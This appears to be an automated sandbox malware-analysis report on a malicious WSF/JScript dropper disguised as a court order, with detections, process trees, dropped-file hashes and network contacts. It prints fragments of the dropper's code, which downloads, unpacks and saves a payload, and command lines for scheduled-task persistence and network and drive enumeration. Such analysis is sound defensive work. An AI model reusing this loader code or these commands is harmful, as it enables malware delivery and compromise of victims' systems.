Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: String function: 00406EA0 appears 60 times
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: String function: 00440BB0 appears 172 times
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: String function: 004048A4 appears 48 times
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: String function: 00448F80 appears 34 times
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: String function: 00430AD0 appears 31 times
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: String function: 00413950 appears 212 times
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: String function: 004333A0 appears 119 times
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: String function: 00433B10 appears 46 times
Reads the hosts fileShow sources
Source: C:\Windows\System32\wscript.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\wscript.exeFile read: C:\Windows\System32\drivers\etc\hosts
Java / VBScript file with very long strings (likely obfuscated code)Show sources
Source: CourtOrder_845493809.wsfInitial sample: Strings found which are bigger than 50
Potential malicious VBS script found (suspicious strings)Show sources
Source: Initial file: function busy_sleep(e){for(passed=0;passed++!=e;)for(var t=(makeid(),makeid(),(new Date).getTime()+1e3);(new Date).getTime()<t;);}function unzip(e,t){var i,o,r=new ActiveXObject("Scripting.FileSystemObject"),n=new ActiveXObject("Shell.Application");t||(t="."),r.FolderExists(t)||r.CreateFolder(t),i=n.NameSpace(r.getFolder(t).Path),o=n.NameSpace(r.getFile(e).Path),r.FileExists(e)&&i.CopyHere(o.Items(),20)}function download(e,t){var i=new ActiveXObject("MSXML2.ServerXMLHTTP");i.open("GET",e,!1),i.setRequestHeader("User-Agent","curl/7.51.0"),i.setOption(2,13056);var o=6e4,r=6e4,n=6e4,s=6e4;if(i.setTimeouts(o,r,n,s),i.send(),200==i.status){var a=new ActiveXObject("Scripting.FileSystemObject");a.FileExists(t)&&a.DeleteFile(t);var c=new ActiveXObject("ADODB.Stream");return c.Open(),c.Type=1,c.Write(i.responseBody),c.Position=0,c.SaveToFile(t),c.Close(),0}return i.status}function makeid(){for(var e="",t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",i=0;8>i;i++)e+=t.charAt(Math.floor(Math.random()*t.
Source: Initial file: function busy_sleep(e){for(passed=0;passed++!=e;)for(var t=(makeid(),makeid(),(new Date).getTime()+1e3);(new Date).getTime()<t;);}function unzip(e,t){var i,o,r=new ActiveXObject("Scripting.FileSystemObject"),n=new ActiveXObject("Shell.Application");t||(t="."),r.FolderExists(t)||r.CreateFolder(t),i=n.NameSpace(r.getFolder(t).Path),o=n.NameSpace(r.getFile(e).Path),r.FileExists(e)&&i.CopyHere(o.Items(),20)}function download(e,t){var i=new ActiveXObject("MSXML2.ServerXMLHTTP");i.open("GET",e,!1),i.setRequestHeader("User-Agent","curl/7.51.0"),i.setOption(2,13056);var o=6e4,r=6e4,n=6e4,s=6e4;if(i.setTimeouts(o,r,n,s),i.send(),200==i.status){var a=new ActiveXObject("Scripting.FileSystemObject");a.FileExists(t)&&a.DeleteFile(t);var c=new ActiveXObject("ADODB.Stream");return c.Open(),c.Type=1,c.Write(i.responseBody),c.Position=0,c.SaveToFile(t),c.Close(),0}return i.status}function makeid(){for(var e="",t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",i=0;8>i;i++)e+=t.charAt(Math.floor(Math.random()*t.
Source: Initial file: function busy_sleep(e){for(passed=0;passed++!=e;)for(var t=(makeid(),makeid(),(new Date).getTime()+1e3);(new Date).getTime()<t;);}function unzip(e,t){var i,o,r=new ActiveXObject("Scripting.FileSystemObject"),n=new ActiveXObject("Shell.Application");t||(t="."),r.FolderExists(t)||r.CreateFolder(t),i=n.NameSpace(r.getFolder(t).Path),o=n.NameSpace(r.getFile(e).Path),r.FileExists(e)&&i.CopyHere(o.Items(),20)}function download(e,t){var i=new ActiveXObject("MSXML2.ServerXMLHTTP");i.open("GET",e,!1),i.setRequestHeader("User-Agent","curl/7.51.0"),i.setOption(2,13056);var o=6e4,r=6e4,n=6e4,s=6e4;if(i.setTimeouts(o,r,n,s),i.send(),200==i.status){var a=new ActiveXObject("Scripting.FileSystemObject");a.FileExists(t)&&a.DeleteFile(t);var c=new ActiveXObject("ADODB.Stream");return c.Open(),c.Type=1,c.Write(i.responseBody),c.Position=0,c.SaveToFile(t),c.Close(),0}return i.status}function makeid(){for(var e="",t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",i=0;8>i;i++)e+=t.charAt(Math.floor(Math.random()*t.

HIPS / PFW / Operating System Protection Evasion:

barindex
May try to detect the Windows Explorer process (often used for injection)Show sources
Source: sync.exe, cmd.exeBinary or memory string: Progman
Source: sync.exe, cmd.exeBinary or memory string: Program Manager
Source: sync.exe, cmd.exeBinary or memory string: Shell_TrayWnd
Benign windows process drops PE filesShow sources
Source: C:\Windows\System32\wscript.exeFile created: sync.exe.0.dr

Anti Debugging:

barindex
Contains functionality to register its own exception handlerShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00401170 Sleep,Sleep,SetUnhandledExceptionFilter,_acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,GetStartupInfoA,_initterm,exit,5_2_00401170
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_1_00401170 Sleep,Sleep,SetUnhandledExceptionFilter,_acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,GetStartupInfoA,_initterm,exit,5_1_00401170
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))Show sources
Source: C:\Windows\System32\wscript.exeSystem information queried: KernelDebuggerInformation
Contains functionality for execution timing, often used to detect debuggersShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00415857 rdtsc 5_2_00415857
Contains functionality to dynamically determine API callsShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00401500 GetModuleHandleA,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,5_2_00401500

Malware Analysis System Evasion:

barindex
Contains functionality to query local drivesShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00401630 CreateDirectoryA,Sleep,system,system,GetLogicalDriveStringsA,lstrlenA,GetDriveTypeA,lstrlenA,ShellExecuteExA,WaitForSingleObject,GetSystemWindowsDirectoryA,tolower,tolower,remove,time,srand,rand,malloc,fopen,fwrite,fclose,fopen,fopen,malloc,malloc,fwrite,fread,fwrite,fwrite,free,free,fclose,fclose,remove,_chmod,remove,remove,remove,system,system,system,5_2_00401630
Checks the free space of harddrivesShow sources
Source: C:\Windows\System32\wscript.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
Contains functionality for execution timing, often used to detect debuggersShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00415857 rdtsc 5_2_00415857
Contains long sleeps (>= 3 min)Show sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeThread delayed: delay time: 3000
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeThread delayed: delay time: 1000
Found WSH timer for Javascript or VBS script (likely evasive script)Show sources
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
Found large amount of non-executed APIsShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeAPI coverage: 3.1 %
May sleep (evasive loops) to hinder dynamic analysisShow sources
Source: C:\Windows\System32\wscript.exe TID: 3152Thread sleep time: -240000s >= -60s
Source: C:\Windows\System32\wscript.exe TID: 3152Thread sleep time: -60000s >= -60s
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe TID: 3360Thread sleep time: -3000s >= -60s
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe TID: 3360Thread sleep time: -1000s >= -60s
Accesses Audio hardware information via COMShow sources
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E30629D1-27E5-11CE-875D-00608CB78066}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E30629D1-27E5-11CE-875D-00608CB78066}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}

Hooking and other Techniques for Hiding and Protection:

barindex
Disables application error messsages (SetErrorMode)Show sources
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Extensive use of GetProcAddress (often used to hide API calls)Show sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_004356C7 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetVersion,GetVersion,FreeLibrary,5_2_004356C7
Stores large binary data to the registryShow sources
Source: C:\Windows\System32\wscript.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
System process connects to network (likely due to code injection or exploit)Show sources
Source: C:\Windows\System32\wscript.exeNetwork Connect: 104.24.116.148 80
Source: C:\Windows\System32\wscript.exeNetwork Connect: 104.27.127.62 187

Language, Device and Operating System Detection:

barindex
Contains functionality to query local / system timeShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_004D1780 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,5_2_004D1780
Contains functionality to query windows versionShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00413770 GetStdHandle,GetFileType,_vsnprintf,GetVersion,RegisterEventSourceA,ReportEventA,DeregisterEventSource,MessageBoxA,_vsnprintf,WriteFile,5_2_00413770
Queries the cryptographic machine GUIDShow sources
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Contains functionality to query CPU information (cpuid)Show sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_004156B0 cpuid 5_2_004156B0
Queries the volume information (name, serial number etc) of a deviceShow sources
Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\LUKETA~1\AppData\Local\Temp\sfbI1UOK.zip VolumeInformation
Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\LUKETA~1\AppData\Local\Temp\sfbI1UOK.zip VolumeInformation
Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\LUKETA~1\AppData\Local\Temp\sfbI1UOK.zip VolumeInformation
Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\LUKETA~1\AppData\Local\Temp\sfbI1UOK.zip VolumeInformation
Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\LUKETA~1\AppData\Local\Temp\sfbI1UOK.zip VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation

Behavior Graph

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
behavior_graph main Behavior Graph ID: 348744 Sample:  CourtOrder_84549380... Startdate:  23/08/2017 Architecture:  WINDOWS Score:  96 0 wscript.exe 1 15 main->0      started     5 sync.exe 3 main->5      started     7610reducedSig Signatures exceeded maximum capacity for this level. 2 signatures have been hidden. 7610sig Accesses Audio hardware information via COM 7780sig Installs new ROOT certificates 6060sig System process connects to network (likely due to code injection or exploit) d1e1000597reduced Connected ips exeeded maximum capacity for this level. 1 connected ip has been hidden. d1e1000597 sm.uploads.im 104.24.116.148, 80 CloudFlareInc United States d1e1000598 image.ibb.co 104.27.127.62, 443 CloudFlareInc United States d1e981313 2 similar packets combined: image.ibb.co d1e7487 sync.exe, PE32 0->7610reducedSig 0->7610sig 0->7780sig 0->6060sig 0->d1e1000597reduced 0->d1e1000597 0->d1e1000598 0->d1e981313 0->d1e7487 dropped 2 schtasks.exe 0->2      started     11 cmd.exe 5->11      started     7 cmd.exe 5->7      started     14 cmd.exe 11->14      started     16 net.exe 14->16      started     process0 dnsIp0 fileCreated0 signatures0 process2 process14 process16 fileCreated2 fileCreated16

Simulations

Behavior and APIs

TimeDescription
11:20:02Sleep call for process wscript.exe modified from: 60000ms to: 20000ms
11:20:05Sleep call for process wscript.exe modified from: 60000ms to: 20000ms
11:20:05Sleep call for process wscript.exe modified from: 60000ms to: 20000ms
11:20:05Sleep call for process wscript.exe modified from: 60000ms to: 20000ms
11:20:05Sleep call for process wscript.exe modified from: 60000ms to: 20000ms
11:20:05Sleep call for process wscript.exe modified from: 60000ms to: 20000ms
11:20:05Sleep call for process wscript.exe modified from: 60000ms to: 20000ms
11:24:00Run new Task: sync command: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe

Antivirus Detection

Initial Sample

SourceRatioCloudLink
CourtOrder_845493809.wsf36/58virustotalBrowse

Dropped Files

SourceRatioCloudLink
C:\Users\LUKETA~1\AppData\Local\Temp\sfbI1UOK.jpg18/58virustotalBrowse

Domains

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
CloudFlareIncMixVideoPlayer.exeb7f643f3db49c624e51335c2ee51408291018c8a0507581a024c0a452a26efb1maliciousBrowse
  • 104.31.93.137
9Delivery-Details.jsddb0955484e036672b7f92fa6576364357a568eae8609115fd741c220eb55803maliciousBrowse
  • 198.41.214.183
25ghrdhhahznt.exeb9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98maliciousBrowse
  • 104.25.38.108
internationalprimopdf.exe600408029d622447c7bab40a0de9c67b35037fa1c0fa69b7f24e06f8f75ef181suspiciousBrowse
  • 104.16.4.133
80aqulasmuts.exeb9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98maliciousBrowse
  • 104.25.38.108
verschickt Artikelnummer via DHL.pdf.exe7e4f213497690234e042903ff82932e785744fb1d17019a9dc502a53c072b107maliciousBrowse
  • 104.16.40.2
Magno Player.exe2f102af1783c4b6c396fd4b8a43658ae54db6355a9bbd89b9cc05b7475d7efb1maliciousBrowse
  • 104.31.92.137
81xeuvrqvaews.exeb9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98maliciousBrowse
  • 104.25.37.108
salesforce.com.doc97266ce01e32cca96d55a0b5bc562f8c756d4f2147e1bb618c5769a2e227f020maliciousBrowse
  • 104.16.38.47
1Delivery-Details.jsc97db996f24f752f916efb7ba020c80be65bc7c364fa2b5f351cbebfd700091amaliciousBrowse
  • 198.41.214.186
27gmhsmxougsnk.exeb9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98maliciousBrowse
  • 104.25.38.108
Quote #9907L.doca49705d9325ce8d87b1f24e92a3b64164ab0051eb3efbc0fc775d579959d9a62maliciousBrowse
  • 104.27.195.88
Quote #9907L.doca49705d9325ce8d87b1f24e92a3b64164ab0051eb3efbc0fc775d579959d9a62maliciousBrowse
  • 104.27.194.88
89MV RAYLEIGH Agency Appointment_Vessel#U9Particulars.exea6b1fe7f3748af3f566be9b03c8f6f26c962e9a4c351324e9d29d6e97e5a9e28maliciousBrowse
  • 198.41.214.184
21guarjlzihlc.exeb9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98maliciousBrowse
  • 104.25.38.108
CloudFlareIncMixVideoPlayer.exeb7f643f3db49c624e51335c2ee51408291018c8a0507581a024c0a452a26efb1maliciousBrowse
  • 104.31.93.137
9Delivery-Details.jsddb0955484e036672b7f92fa6576364357a568eae8609115fd741c220eb55803maliciousBrowse
  • 198.41.214.183
25ghrdhhahznt.exeb9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98maliciousBrowse
  • 104.25.38.108
internationalprimopdf.exe600408029d622447c7bab40a0de9c67b35037fa1c0fa69b7f24e06f8f75ef181suspiciousBrowse
  • 104.16.4.133
80aqulasmuts.exeb9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98maliciousBrowse
  • 104.25.38.108
verschickt Artikelnummer via DHL.pdf.exe7e4f213497690234e042903ff82932e785744fb1d17019a9dc502a53c072b107maliciousBrowse
  • 104.16.40.2
Magno Player.exe2f102af1783c4b6c396fd4b8a43658ae54db6355a9bbd89b9cc05b7475d7efb1maliciousBrowse
  • 104.31.92.137
81xeuvrqvaews.exeb9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98maliciousBrowse
  • 104.25.37.108
salesforce.com.doc97266ce01e32cca96d55a0b5bc562f8c756d4f2147e1bb618c5769a2e227f020maliciousBrowse
  • 104.16.38.47
1Delivery-Details.jsc97db996f24f752f916efb7ba020c80be65bc7c364fa2b5f351cbebfd700091amaliciousBrowse
  • 198.41.214.186
27gmhsmxougsnk.exeb9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98maliciousBrowse
  • 104.25.38.108
Quote #9907L.doca49705d9325ce8d87b1f24e92a3b64164ab0051eb3efbc0fc775d579959d9a62maliciousBrowse
  • 104.27.195.88
Quote #9907L.doca49705d9325ce8d87b1f24e92a3b64164ab0051eb3efbc0fc775d579959d9a62maliciousBrowse
  • 104.27.194.88
89MV RAYLEIGH Agency Appointment_Vessel#U9Particulars.exea6b1fe7f3748af3f566be9b03c8f6f26c962e9a4c351324e9d29d6e97e5a9e28maliciousBrowse
  • 198.41.214.184
21guarjlzihlc.exeb9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98maliciousBrowse
  • 104.25.38.108

Dropped Files

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
unknown11Evaluation and Quote.jar1c097d4143ab4d5ef840fe2d756cb26533f6cfd84c76a9ac2eac1efa212130a9maliciousBrowse
    11Evaluation and Quote.jar1c097d4143ab4d5ef840fe2d756cb26533f6cfd84c76a9ac2eac1efa212130a9maliciousBrowse

      Screenshot

      windows-stand

      Startup

      • system is w7_1
      • wscript.exe (PID: 3112 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\CourtOrder_845493809.wsf' MD5: 979D74799EA6C8B8167869A68DF5204A)
        • schtasks.exe (PID: 3292 cmdline: 'C:\Windows\System32\schtasks.exe' /CREATE /F /TN sync /TR 'C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe -e \'C:\Users\user\desktop\'' /sc once /st 11:24:00 MD5: 2003E9B15E1C502B146DAD2E383AC1E3)
      • sync.exe (PID: 3356 cmdline: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe -e 'C:\Users\user\desktop' MD5: E80C5368FA4395655BE9A4ED9A6CFCC3)
        • cmd.exe (PID: 3412 cmdline: C:\Windows\system32\cmd.exe /c move /y readme.html 'C:\Users\user\desktop\README\readme.html' MD5: AD7B9C14083B52BC532FBA5948342B98)
        • cmd.exe (PID: 3436 cmdline: C:\Windows\system32\cmd.exe /c move /y readme.png 'C:\Users\user\desktop\README\readme.png' MD5: AD7B9C14083B52BC532FBA5948342B98)
        • cmd.exe (PID: 3460 cmdline: C:\Windows\system32\cmd.exe /c cmd /c net view MD5: AD7B9C14083B52BC532FBA5948342B98)
          • cmd.exe (PID: 3512 cmdline: cmd /c net view MD5: AD7B9C14083B52BC532FBA5948342B98)
            • net.exe (PID: 3588 cmdline: net view MD5: B9A4DAC2192FD78CDA097BFA79F6E7B2)
        • cmd.exe (PID: 3624 cmdline: 'C:\Windows\System32\cmd.exe' /c dir C:\ /s /b /a-d >> WAJSFDWJWP MD5: AD7B9C14083B52BC532FBA5948342B98)
      • cleanup

      Created / dropped Files

      C:\Users\LUKETA~1\AppData\Local\Temp\BACKUP~1\readme.html
      File Type:HTML document text
      MD5:315DA1E217262F4977DDE00FC72BE2FA
      SHA1:5FBA6261B8ED30E2F22EF611D76110C3409E714A
      SHA-256:E3B01F0E74F06FA1A9D3876C4176D458316B899BCCE34B4D86C94AB8D6CCD84C
      SHA-512:08ACCC57C656454073D87BB859A65E3242B4178FE3566BAB58349F0D36A6210BA046ED524A9F6A6BEEE7E01427F16804B6DA1BE427CDB170AE99EA66CFEF9EF2
      Malicious:true
      C:\Users\LUKETA~1\AppData\Local\Temp\BACKUP~1\readme.png
      File Type:PNG image, 1034 x 1044, 8-bit/color RGBA, non-interlaced
      MD5:BD02A9D7DE98D1B5FDBDD1B7C56BDED7
      SHA1:7D87860F52A3ED2F4ADF4BFC34BFA8E0E5B1B2FC
      SHA-256:7DB3AD3B320408D80EC5823A6E17F4EFCD74F68ED6117CF0D92065C3136F1395
      SHA-512:95FAC41DFBA41BF7D22BB3ACDEB5440468B8B3D7C5A5AB0CDD28C945C721E5CF912EB4515340DE5BA62CEF612F4BCB6CF632EE591BAD6430BC875CAEF991C5F4
      Malicious:true
      C:\Users\LUKETA~1\AppData\Local\Temp\BACKUP~1\sync.exe
      File Type:PE32 executable for MS Windows (GUI) Intel 80386 32-bit
      MD5:E80C5368FA4395655BE9A4ED9A6CFCC3
      SHA1:1BA6C43B814F97724443E96A66A673CA06C6792B
      SHA-256:877488D8F43548C6E3016ABD33E2D593A44D450F1910084733B3F369CBDCAE85
      SHA-512:A80576DABBD50DCA2142F341D688AC4085F4F3C1B4A704D7AE160EFFAD98482F08DCD2ACBE5238AEC99B15DBB42D02207FEAB57A78B2D1CA8D87AA047D3FD148
      Malicious:true
      C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\WAJSFDWJWP
      File Type:ASCII text, with CRLF line terminators
      MD5:CD5EB8A79FAA8F91AD903FC5D47BA075
      SHA1:344F31BBBA06097D95168303252CD23B5D611547
      SHA-256:1B0A98ECC2B638C0782018EB805F72887D0B441FC2B4D9752E20717D59993390
      SHA-512:2EC9AE043D1FA29987612A61A9ED76007B7495486F40FA1A2F9DB42E21886CB939D899F51450027F1F4F247E164A8C63958E097B86CAA824E9336C7EF7A7048A
      Malicious:true
      C:\Users\LUKETA~1\AppData\Local\Temp\sfbI1UOK.jpg
      File Type:JPEG image data, JFIF standard 1.01
      MD5:6C58B88F186F6DCA233A4DC37DC5BEB3
      SHA1:FACDE19E4E6DF17EE7046CAED6CB6063799C951E
      SHA-256:C6565D22146045E52110FD0A13EBA3B6B63FBF6583C444D7A5B4E3A368CC4B0D
      SHA-512:6BC13E9830FBA36F8B12791C29BA4DFB386BDD066642DABCA9B9DA2BD34FD2E6F5DB12720683F6BDA7F4F59F7DEB1D5220F6E2C1D4B92E28395F007D8DB83274
      Malicious:true
      Antivirus:
      • Antivirus: virustotal, Ratio: 18/58, Browse
      C:\Users\LUKETA~1\AppData\Local\Temp\sfbI1UOK.zip
      File Type:Zip archive data, at least v2.0 to extract
      MD5:2673C80566E4E5857E7F5EE0155B921F
      SHA1:65EBDF10CD9A02742BF9106866BDF57EEFA728A3
      SHA-256:5B0120A6D2D812C3E494C9CE814DDE9F425F16BFF08D91A7EF6F23222727C085
      SHA-512:6C4B629B8105D8C7A3E57AED25F29CE3F706C4F050BC8E3F3073058D3847F12892618436665B5FEC52A19E0A14EB8B475624226EEE8FCA6D904D5F600B3F7806
      Malicious:true
      unknown
      File Type:ASCII English text, with CRLF line terminators
      MD5:768165E0ABF16BF3056836D5431A7296
      SHA1:9FB3196BE60E49BFC319EBD9E0B103954D711E34
      SHA-256:B44C505B721E93E2A596577018CC65B993CD632B9FE7620A4B3DB54031AFFF5D
      SHA-512:1250EC40BA20F39A5B9A3AAFD45C63CB6F1BF48B89ACCE1F885470C936FB48A803081943C68458BA1ADCE92D5FE79D3E45682285F56ECB29884D41974269992D
      Malicious:true

      Contacted Domains/Contacted IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus Detection
      sm.uploads.im104.24.116.148truetrue
      image.ibb.co104.27.127.62truetrue

      Contacted IPs

      • No. of IPs < 25%
      • 25% < No. of IPs < 50%
      • 50% < No. of IPs < 75%
      • 75% < No. of IPs
      IPCountryFlagASNASN NameMalicious
      8.8.8.8United States
      		15169GoogleIncfalse
      192.168.1.16unknown
      		unknownunknownfalse
      104.24.116.148United States
      		13335CloudFlareInctrue
      104.27.127.62United States
      		13335CloudFlareInctrue

      Static File Info

      General

      File type:ASCII C++ program text, with very long lines
      TrID:
      • Digital Micrograph Script (4001/1) 100.00%
      File name:CourtOrder_845493809.wsf
      File size:3710
      MD5:d10c1bd17c1b84a22db0d77515b7c32e
      SHA1:84b41d79cb67ce254cfdf9be0431a6a5c40fab56
      SHA256:3049a568c1c1cd4d225f8f333bf05e4560c8f9de5f167201253fedf35142fe3e
      SHA512:e0eab7ec6cec2925fd1fd05d24dcd34124f3a6fb43cb7d19563e682bbc03931f5257f58f4701ee5cbc1789b7a38527b1a2486f322de60314ac606d944c41c4ad
      File Content Preview:// WINDOWS FORMS REPORT.// File generated using Pro Windows Forms, (c) 2008 - 2017, DEMO VERSION...<job>.<script language="JScript">..function busy_sleep(e){for(passed=0;passed++!=e;)for(var t=(makeid(),makeid(),(new Date).getTime()+1e3);(new Date).getTim

      File Icon

      Network Behavior

      Network Port Distribution

      TCP Packets

      TimestampSource PortDest PortSource IPDest IP
      Aug 23, 2017 11:21:32.425781012 MESZ6148453192.168.1.168.8.8.8
      Aug 23, 2017 11:21:32.621227026 MESZ53614848.8.8.8192.168.1.16
      Aug 23, 2017 11:21:32.791610003 MESZ5479753192.168.1.168.8.8.8
      Aug 23, 2017 11:21:32.982661963 MESZ53547978.8.8.8192.168.1.16
      Aug 23, 2017 11:21:32.985013008 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:32.985078096 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:32.985517979 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:32.988763094 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:32.988806009 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:33.851550102 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:33.851573944 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:33.851583004 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:33.851788998 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:33.852735043 MESZ49195443192.168.1.16104.27.127.62
      Aug 23, 2017 11:21:33.852763891 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:33.853559017 MESZ44349195104.27.127.62192.168.1.16
      Aug 23, 2017 11:21:34.056458950 MESZ44349195104.27.127.62192.168.1.16
